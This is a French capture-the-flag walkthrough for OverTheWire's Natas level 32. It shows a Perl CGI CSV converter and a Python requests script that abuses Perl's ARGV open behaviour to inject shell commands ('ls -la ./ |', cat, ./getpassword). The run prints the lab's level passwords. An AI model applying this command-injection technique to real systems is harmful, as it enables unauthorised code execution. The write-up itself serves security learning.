Niveau 32

Natas 32

Level Goal

Username: natas32
Password: no1vohsheCaiv3ieH4em1ahchisainge
URL: http://natas32.natas.labs.overthewire.org

En se connectant à la page du challenge 32 on arrive sur un formulaire de conversion de CSV vers HTML identique au précédent. Le code source en PERL, est le suivant :

#!/usr/bin/perl
use CGI;
$ENV{'TMPDIR'}="WWWDIR/tmp/";

# print HTML [...]

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, $_;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML($_)."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML($_)."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
# print HTML [...]
}

# print HTML [...]

D'après la consigne nous devons trouver un fichier à exécuter au niveau du dossier courant. Utilisons notre script Python de l'épreuve précédente associé à une commande ls -la ./ pour lister le répertoire courant :

import requests

session = requests.Session()
response = session.post(
    "http://natas32.natas.labs.overthewire.org/?ls -la ./ |",
    files={'file': ''},
    data={"file": "ARGV"},
    auth=requests.auth.HTTPBasicAuth("natas32", "no1vohsheCaiv3ieH4em1ahchisainge"),
)
print(response.text)

On obtient la liste de fichiers suivants :

.
..
.htaccess
.htpasswd
bootstrap-3.3.6-dist
getpassword
getpassword.c
getpassword.c.tmpl
index-source.html
index-source.pl
index.pl
index.pl.tmpl
jquery-1.12.3.min.js
sorttable.js
tmp

Regardons le code de getpassword.c via la commande cat getpassword.c :

int main(){
    int c;
    FILE *file;
    file = fopen(&quot;/etc/natas_webpass/natas33&quot;</td><td> &quot;r&quot;);
    if (file) {
        while ((c = getc(file)) != EOF)
            putchar(c);
        fclose(file);
    }
    return 0;
}

Rien de particulier à noter, le programme affiche les caractères du mot de passe un à un.

Exécutons le programme associé via la commande ./getpassword. On obtient le mot de passe du prochain niveau : shoogeiGa2yee3de6Aex8uaXeech5eey.